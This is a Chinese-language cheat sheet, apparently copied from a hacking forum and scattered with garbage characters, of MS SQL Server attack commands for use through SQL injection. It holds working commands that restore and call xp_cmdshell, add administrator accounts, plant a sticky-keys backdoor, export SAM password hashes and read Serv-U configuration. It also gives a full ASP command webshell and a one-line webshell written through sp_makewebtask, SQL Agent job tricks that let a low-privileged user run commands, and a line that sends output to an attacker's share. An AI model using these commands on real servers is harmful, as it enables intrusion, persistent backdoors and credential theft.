1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
, B# [* U/ W5 f+ M. ~( N恢复方法:查询分离器连接后,, F7 K/ c, E' q, u9 L5 E* P/ t* }
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
" M9 r7 \- k6 n0 ~ G" q* k# W第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
. D5 q( q9 N" k: y. S* r% a1 Y* x3 b然后按F5键命令执行完毕) J/ b0 `/ S5 q
+ P0 `0 t( c( \! b8 m0 [
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
5 X- \5 V+ T. K, E% Q恢复方法:查询分离器连接后,. E. a& A( C+ M1 i& ^
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"8 T( f) M4 n9 x) K# |
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'" e; U, Y. m! b/ J% o, f! p4 t
然后按F5键命令执行完毕/ H+ a# }! v" U" O# @
8 N f. [( Y/ E+ N. i E; F
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)4 Q8 l5 z( m6 x" q$ e" A
恢复方法:查询分离器连接后,* ~5 ~$ ?( v3 q% X0 t. Q8 H6 d6 G
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
z$ u! s2 m7 |6 Q第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
0 f& S" K$ I3 P/ _# l' w1 F' W: D6 A L然后按F5键命令执行完毕' z, Y% g- } K) c& j9 |
* F6 p' `& G- Z/ i$ h8 ~- E5 R) ]
4 终极方法.
8 Y* G; _" I" z, }如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
0 Q& {% w% i0 e' n3 U查询分离器连接后,
1 L- @9 P; Q9 d0 t2000servser系统:
! z, k, K/ E3 ]declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
% m% ]( J2 S9 C% X& y$ B$ V& |+ o3 ], E; c! K: k! J* {/ \8 ~
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'0 x$ c$ ?" d6 o1 M$ ~$ b" x6 ? f
4 `5 l; a" ?; ?0 ^2 {5 }
xp或2003server系统:
8 s' ^6 C3 Q6 a
% z7 ]: l$ P1 X- Ddeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'+ K& Y. U, t+ u3 r9 `. ?6 z
! \7 ]( Z( a& k9 u7 _declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'. J2 |- W& T* _. j7 Y& \
7 y* ^2 c( H. _ T/ ?3 B( }& z
( i2 d8 }. P2 z7 z& A3 w. l五个SHIFT
7 B; `$ L9 C8 z7 U. Gdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
' }. o: c2 F5 x' }8 v9 r
- A9 ~- w" T2 |$ {+ b5 q$ }declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 7 ], ^2 j* Q2 P/ D; T9 v. c2 P
P( ]8 X* X8 b" u
xp_cmdshell执行命令另一种方法
: j5 _* u$ R' H* u2 ydeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' ) Y" ]- X: `; Y2 O% x+ f/ W
- x, `1 Z/ }- u判断存储扩展是否存在( i# _0 N+ X2 M( ~8 B
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
# h7 S2 n" N5 R( G9 l+ {- \. p% G返回结果为1就OK1 h. C3 t! h' R- f
3 m9 Y) j; n( G
: `/ q6 U' S$ B; U( z
上传xplog70.dll恢复xp_cmdshell语句:
1 I3 i* u* B( D7 s" k# fsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
* J+ I7 g" z* y8 E) z3 P
8 x# Z# o: L& n) ]$ `否则上传xplog7.0.dll7 l: ~, ~ H- n( s* t$ n: d1 B
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
, v P# ]* t& j: ~6 T2 c* J% J
& R* s% t! _5 u; \1 M
C( [/ k- f/ H1 h, R0 ?, B, C, @6 D# ^! O8 j' a
首先开启沙盘模式:
9 J$ X/ C7 q4 I$ \' fexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
( Z; K3 T! `2 e0 W' x9 S1 a" J4 O) I) ~9 h) m! E
然后利用jet.oledb执行系统命令
! }3 }3 `8 B& s" n4 \7 D% nselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
) g& d% v$ A2 R返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
5 ^/ V/ @& K' Q" w( |' w) l5 p- S* i) ?* `. N. O
/ m: }( j& X6 @( }( ^! G+ I! N! e& F% m
1 q% k- R6 z7 u" q6 j R- G恢复过程sp_addextendedproc 如下:
6 S8 e, Z0 b7 C. h; Screate procedure sp_addextendedproc --- 1996/08/30 20:13
' M+ m0 v0 V8 o$ }7 s& f@functname nvarchar(517),/* (owner.)name of function to call */ 6 C; v7 u. k5 E- P) c7 q S: [
@dllname varchar(255)/* name of DLL containing function */ % |' j2 }5 H. M
as , b' [6 `' e4 G2 P- J
set implicit_transactions off
5 z9 F2 ^( _: ~if @@trancount > 0
7 W0 I& V1 z% o8 |6 L$ d- a# d* d% Vbegin
% w8 d1 T6 e! Q' b' C, u) R" zraiserror(15002,-1,-1,'sp_addextendedproc')
5 M' |+ M9 K; o1 Treturn (1) , Z% v& O- Q* }$ v( W6 X: _$ G
end 3 t' p# T6 \! H1 V1 [) x. o* Z
dbcc addextendedproc( @functname, @dllname) 4 ^. J' ^/ f$ p6 a- i; v) v1 T$ q
return (0) -- sp_addextendedproc
# K2 F* g# r, a5 J" U) N' ^GO
+ { V' _0 Q) f1 e, K; q- ?
& u r) x$ X# K! H- I4 d2 e6 z8 P+ n: \9 b; j% ? U% j0 z
5 u. n, `0 U$ Q
导出管理员密码文件
& K- W, s( s1 ~8 L( I& z/ Y" Psa默认可以读sam键.应该。2 k& X1 W4 g9 ~- y% J2 ^/ R# _
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
, D Y, `' Z. C5 H( w2 M% L" Gnet user administrator test) d" i! ~4 {- o a, b# C
用administrator登陆.
- W0 u6 s# o6 l3 c+ }5 F( t( x用完机器后: G( O; ?8 Q+ X, h( f) z. ]( z2 o
reg import c:\test.reg/ y2 X9 L& M% S6 n0 `) M
根本不用克隆.
$ v0 _2 h# ^: p3 y1 ]找到对应的sid. + q# g0 \9 w \0 n M! n
) s3 w; y, k" I4 i5 q- v# u
/ k8 N7 p/ j% k4 {
1 ` c. i- l+ I! _8 @恢复所有存储过程
" B5 l' q* P3 o% Guse master
* n9 H% a# v$ u; Q1 Kexec sp_addextendedproc xp_enumgroups,'xplog70.dll' ( p: e5 [4 m- d! ^1 L
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
: K; ?$ Z; p- {, e" w T" o. Cexec sp_addextendedproc xp_loginconfig,'xplog70.dll' \3 p9 Z5 r6 f2 y
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' * A4 i5 U6 i# i9 V# l3 W
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
+ q" h; l5 e- L% W' U) N$ V p& jexec sp_addextendedproc sp_OACreate,'odsole70.dll'
( k; A0 I# I9 k. w |exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
: L8 I r+ c9 c' vexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
& v: l# s K, c+ jexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' ) G' h& i: x! l1 P4 m
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' / ~- C6 p/ N+ y/ A4 q6 `
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' ! j: o* `; |) I/ S6 n- x- {5 u' k
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
0 ]2 |2 ?! R+ }* V+ X; j* k2 V% ~exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' + U9 N1 |8 B, j7 E- M/ J8 v1 ^
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
5 m5 p8 u! o8 h2 F- m6 M }& pexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
6 W0 f* M I9 S. Q" j4 qexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' - W+ G- I! Z c, B
exec sp_addextendedproc xp_regread,'xpstar.dll' 2 y, z ~7 X+ E( C
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
3 {' d7 O! |$ {0 rexec sp_addextendedproc xp_regwrite,'xpstar.dll' & c7 F, M2 _( D5 i) D) e1 S! Q4 M
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
( |. G B6 y0 u- V' @+ S1 |% k+ h
; Z1 B4 v& L4 O0 C; A& l, o0 J4 V$ s( j1 E
建立读文件的存储过程6 y" q6 G+ _8 p) I r. u @2 T% x& w
Create proc sp_readTextFile @filename sysname
7 b$ `% K* t; P5 ^4 j4 pas. T( |2 E) m J; O. _/ |; [
9 X! f. C$ L& z. Q0 T
begin 9 u; l9 Y. K; q8 Z4 R1 A8 I- m+ J9 O
set nocount on
" g8 j/ H L- c& `; ?4 P# S Create table #tempfile (line varchar(8000))
1 h- Z7 U. I5 Q/ C& @/ e exec ('bulk insert #tempfile from "' + @filename + '"')
. V4 ^# K" l, G- J' b+ G select * from #tempfile
& I% A0 ^+ D* J, k/ [ drop table #tempfile
$ d! ~* Q, C( p0 X5 F& R' WEnd
. y- C) Z' Y6 d! J' U) h
' e# P' X4 d/ m! A* q7 ^! Pexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
; F" N* w1 i/ }; U3 I查看登录用户 G2 y/ R- S( @- L% ~: E
Select * from sysxlogins k, y! d+ c- s4 H7 f! ^/ y+ F
( E9 ^# i- ]0 b/ W$ f B
把文件内容读取到表中
& N% ^! p' D4 K9 ~ \# ABULK INSERT tmp from "c:\test.txt"
9 d: r2 s2 o6 R' O1 M- m! I/ rdElete from 表名 清理表里的内容: |' e0 s- b9 O9 A# S, ]& m- t
create table b_test(fn nvarchar(4000));建一个表,字段为fn
( ?; {$ M3 D5 ^) l( @/ l* H
/ t7 O& Y" V7 c1 B
m G- {9 o- E" e加sa用户' q1 R% `- [4 Q c$ Q& V3 R
exec master.dbo.sp_addlogin user,pass;9 F" [ c! ~+ @9 I3 r& |. ]; E
exec master.dbo.sp_addsrvrolemember user,sysadmin
" X. {( T: q# x. @, g
/ I5 V @4 G6 F0 J# k* q3 F' T8 H
* q0 f" K& K u- p/ e读文件代码
# B' I4 u/ ?, L- bdeclare @o int, @f int, @t int, @ret int8 Q; U5 h0 m' p# n
declare @line varchar(8000)2 Z% @, `) z& U' q1 U4 @
exec sp_oacreate 'scripting.filesystemobject', @o out2 H; u% z3 E+ o, d
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1 V% S1 Q2 S- x. {% s. s2 F0 n4 j. V
exec @ret = sp_oamethod @f, 'readline', @line out, Z6 P5 A. S5 `: I8 I
while( @ret = 0 )$ X6 e, ?! `5 l$ g2 `( L
begin
% o; v B$ u5 S- Q6 R5 }& y [print @line/ c$ ]3 O" |' z1 K1 B
exec @ret = sp_oamethod @f, 'readline', @line out0 o5 H6 K4 `$ X* }( C- r5 ~% Y
end; H1 X; |" M( k6 _- _+ u
' q; S3 T( _' J* y, M1 i- P3 @' E, k, h& x, `, p. M2 J: U4 h
写文件代码:0 o7 ?# b0 q" P8 B
declare @o int, @f int, @t int, @ret int0 m: s: t% |4 }1 n+ P }# {* {
exec sp_oacreate 'scripting.filesystemobject', @o out
& q) u; W+ `0 k1 Q5 G( Gexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 17 Q- U. r% X) V: t
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
, {( z7 D2 Z% n) [0 t6 N& D* n9 _: E1 y6 \
' Z3 _+ s0 C- m3 H添加lake2 shell# q H1 V# |, W9 B: Z, ~
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll', }0 t6 H$ j8 y
sp_dropextendedproc xp_lake2
6 h# `( O0 c) i4 ]# `9 [EXEC xp_lake2 'net user': A3 Y& j, x8 z1 {. ?) X
5 r3 ]/ E* w) F9 n6 a# U3 M0 _; b
/ {3 q8 m# ^4 J, a! m
得到硬盘文件信息
0 j1 V& O7 m; c0 i5 o--参数说明:目录名,目录深度,是否显示文件 Q- C# g2 }0 U) Q
execute master..xp_dirtree 'c:'
\ t% T% `4 |execute master..xp_dirtree 'c:',1 1 T/ g+ {; I! S8 J
execute master..xp_dirtree 'c:',1,1 0 r* |* }. n- Y; l: b7 {
7 [ v$ b. l5 M$ w
1 E; V% P! R6 F7 x读serv-u配置信息
( p, e9 w* w p$ w5 bexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'* G+ s1 [7 [( n* E o
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
- {# @# E" [% W$ t- R. V
' B$ W" f7 _( |, h8 n& { `通过xp_regwrite写SHIFT后门
. p3 u( Q& I9 E. v: r/ L# Vexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--$ z' T! w# v% ^1 Q( _! e3 ~7 ]3 \
4 Y4 B* t' {: U& v' l$ k Y6 R" a% W# K# N
: ~# a1 r9 | e9 o找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';+ ]9 \; \" R6 R, i
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
p0 _1 t. F: \6 Y8 r$ P+ }
' ~* a2 ]" x E- z1 P4 `' ZEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'2 @8 \! x9 L. o
( r" ^& G# f# F1 E! t s2 V
- v2 O" K+ I2 P m
. T3 A5 h, g, z0 x( A+ Hsql server 2005下开启xp_cmdshell的办法7 ^& p. n+ w5 H S7 y( }
) O5 m( E# T) w+ l. C+ h1 Z* H% GEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;5 J7 o" P) U, v3 x
y( r @. d: G y7 } mSQL2005开启'OPENROWSET'支持的方法:
- O! |7 h3 C* o
" G' \9 }3 |' n4 Y4 V7 o0 a' Kexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
: n) @& M3 g" `' W/ M% e. v
0 A. H' T* z1 A$ }# L, GSQL2005开启'sp_oacreate'支持的方法:
4 s+ I& O k% K) h* N
9 u& k+ @1 B( l: ]( M$ m+ n' c8 v" K bexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
/ Y2 [9 k. N. x4 E3 g
3 b" v5 U( ] _" |% Y1 l' J7 c. L
* z3 R, \+ x" B- c& }3 s
; n/ O- G8 f: C0 ]+ C: \. x# v' c3 J* i$ @0 v" @8 e$ V% Z
/ q% h" q) B* V2 Y1 L( }: z
% @ F5 U+ v P( p, w5 B2 E/ K* z1 H q: p6 R( z
) |6 x% c- _) w- n
' n+ X0 j Z' Y" L
1 x. _* r6 L1 f; u, @ ?4 |( f
$ h; ^' @' c o
$ W! I2 }/ ^$ p# Y4 g# X+ ^( L
, @+ }( L; w- q- r" O
. C& B1 X4 ~+ A+ E
6 i! B7 |* u. ]4 g- [+ b
$ M8 |4 _' x- k5 G- F2 E i+ Z: p& R8 y) G. `8 n4 u$ p4 D
/ A8 ^2 v+ I9 O+ I# \9 x# B, Y) {8 C) L1 Z, A5 j
5 X+ v: _( X0 y
7 f, A5 j( `; t: R% F9 j' w/ L, ^
# z/ o% X! z9 O
( @( {7 g# Q% _; Y& w( M- e! d3 v7 o) {6 t. }
以下方面不知道能不能成功暂且留下研究哈:, \6 Q& y, w; }, ^0 w
4)
: j6 X) r! U8 q* d puse msdb; --这儿不要是master哟
' V& G3 b/ N+ H# R& ^2 O! `/ Vexec sp_add_job @job_name= czy82 ;: v; R8 F# w: R0 N0 V* P/ n
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
$ }# L. K- A! \0 lexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;( g( Q! ^; B/ b+ T1 I
exec sp_start_job @job_name= czy82 ;
; _- m |6 Z1 [/ \- W
4 F/ I& M( r9 p( X; S# V利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以. B$ G1 a( c1 U5 O
执行tsql语句了.) z7 y, n6 |, h! k3 o+ u
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名9 s0 Y3 X; [" j8 A6 d# p
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)" W h! ~. f4 n n4 q) M1 k
net start SQLSERVERAGENT
5 |' z: h( e6 [: p# T- Y+ S) @% m
3 ]( w3 T1 x% Y' R! f7 t& h' \对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
3 K/ |/ ]/ ?- ?7 g2 ]5 `+ zUSE msdb
* Z- R+ B. B9 [! w- eEXEC sp_add_job @job_name = GetSystemOnSQL ,
+ k' p7 W- F* d* ^/ m( a@enabled = 1,2 V4 W$ W7 B! m) D; t. o! k W
@description = This will give a low privileged user access to2 |/ e$ c C3 B; p, n" K# _
xp_cmdshell ,! T% t* j# T0 [4 _* V8 z" g( l
@delete_level = 1
/ d$ @) Y" e" S* o4 SEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,. j/ O6 M4 x+ Q" f( [' @5 i0 d
@step_name = Exec my sql ,% l, h7 @& n4 K# D1 \
@subsystem = TSQL ,
5 B! g2 j2 D# w I* d@command = exec master..xp_execresultset N select exec- f8 \8 @# N0 o4 Q
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
2 y; h" o* e5 _EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,$ p1 V4 c, Y/ d/ x/ ?5 f
@server_name = 你的SQL的服务器名 - I% F1 g$ s2 I/ H$ x
EXEC sp_start_job @job_name = GetSystemOnSQL 6 ~" H% N& O6 j! w
3 v4 ]% C* {. P
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以4 R. N; B/ C t, V# y- e2 H
才让我们可以以public执行xp_cmdshell3 g, z, A2 t) T( [$ s; G. m
5 J$ e7 D4 J9 c8 \7 b
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)' ?, h( r$ j0 V t- B' y
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
) J% Q4 R. n- b1 _
4 d7 k3 M: b/ s1 y5 I, X0 nUSE msdb. I! ?# I6 m: m3 O1 @: Z, M: d. R9 l
EXEC sp_add_job @job_name = ArbitraryFilecreate ,6 D$ R; x* J9 N' y! B+ T
@enabled = 1,
. l3 F5 U: K E% w) V7 J" }# v@description = This will create a file called c:\sqlafc123.txt ,
4 \" v: P2 C' d( H1 P4 C) i; }1 |@delete_level = 1# H. Z( M+ L3 k8 H3 _+ k, l b
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
" Y! |8 S+ Z) A5 ~$ y- T5 S3 `@step_name = SQLAFC ,
! e/ _6 `* X6 H' F5 a@subsystem = TSQL ,' w& d8 g; _# ~ c# K! {3 X
@command = select hello, this file was created by the SQL Agent. ,+ p2 E( u6 k$ v- Q& e% H# J2 `
@output_file_name = c:\sqlafc123.txt
. j# V8 l2 K6 L; v2 B2 T' C Y9 DEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,$ g" K5 E! T9 W* o6 h8 C4 j
@server_name = SERVER_NAME
% U! q" t0 e% o' i8 P5 _6 p% tEXEC sp_start_job @job_name = ArbitraryFilecreate 3 a$ c0 ^ |* l, S. o8 W' R3 B
$ S$ k( K1 P' _- U g- k如果subsystem选的是:tsql,在生成的文件的头部有如下内容
+ B$ E. w. W/ A; ]( P+ L
" x; \, l! I5 ~: G2 R# f??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
) ` ~" r! r" \0 q----------------------------------------------
% Q* m9 F( k) C6 Yhello, this file was created by the SQL Agent.
0 X1 ^* O* ]3 U( S, J* e, L! T& e& x, m: E, i0 Y$ `! ^7 [
(1 ?????)
( W% O6 T3 N) H2 [" {
. G" n3 i( A8 G `# z e. ^所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员: t; X! Y" u& N2 {6 K4 l
命令的vbs文件到启动目录!$ z: C! o+ L( P
: @8 m7 |5 Q5 S) H7 x% ^ H6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
+ |' h) w! b# B关于sp_MScopyscriptfile 看下面的例子/ z9 s. I* w- D$ o( B
declare @command varchar(100)
( T$ g( q& C; M+ z: q! e/ qdeclare @scripfile varchar(200) 7 D, p+ O9 W; a6 ^' f2 b, _
set concat_null_yields_null off 6 V+ E- V+ s# G" W% k& Q2 _
select @command= dir c:\ > "\\attackerip\share\dir.txt" , u. i+ Q# Z* H; p3 [
select @scripfile= c:\autoexec.bat > nul" | @command | rd " 3 y6 L1 c. `' I5 j4 N9 N& m, [
exec sp_MScopyscriptfile @scripfile ,
+ g$ g0 z5 ^8 F) w) K
: t g2 s2 T K. c: D) Q这两个东东都还在测试试哟
- I: C. N9 Y/ v: k让MSSQL的public用户得到一个本机的web shell & H4 ]4 j, c" J6 C2 G1 z
0 [& R* q2 P( M& o
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,/ S1 O- m" b& C8 v" _& H$ a
--@query= select <img src=vbscript:msgbox(now())>
k* `, z2 U9 f$ k/ O--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> . r5 m: w8 i' W( z$ q4 G" x
@query= select / t: }/ i* Y; `; @7 `. b
<%On Error Resume Next
$ {: E0 y' {. p& Z' w- s8 DSet oscript = Server.createObject("wscript.SHELL") . A/ c% F: ~: h. W) b! z( x+ R
Set oscriptNet = Server.createObject("wscript.NETWORK") M+ F! V) ?$ f/ g2 C8 j
Set oFileSys = Server.createObject("scripting.FileSystemObject") + R- M% q, M" S( Q
szCMD = Request.Form(".CMD") $ m- J( j( N. T4 E* ]) E) g0 K
If (szCMD <>"")Then
d) W: R, y2 o; a2 P& _3 d0 dszTempFile = "C:\" & oFileSys.GetTempName() 1 K" H! p- W2 k
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
; @: e; }8 k4 `% p$ M& f, NSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
) v [$ V; l8 v# vEnd If %> ) a7 s4 @+ X# @. C0 _& }! q
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST"> : B) Y1 \2 V) r2 i* t! ^
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
# V5 G. ]# Z9 C: Y6 p% p% O" { o</FORM>< RE>
8 E5 V2 u7 U! R' E; @<% If (IsObject(oFile))Then + r% x! T1 @% N/ M
On Error Resume Next
0 u- }3 R/ [1 l7 Y) hResponse.Write Server.HTMLEncode(oFile.ReadAll)
0 `4 O/ n" d5 h% P, m6 ioFile.Close
: }* u/ k5 F k6 R1 VCall oFileSys.deleteFile(szTempFile, True)
2 s! |4 x" y3 P- a D- sEnd If%> 4 S, ~5 k/ H" |7 }
</BODY></HTML> A) {9 n: V8 Y" ^7 I p
|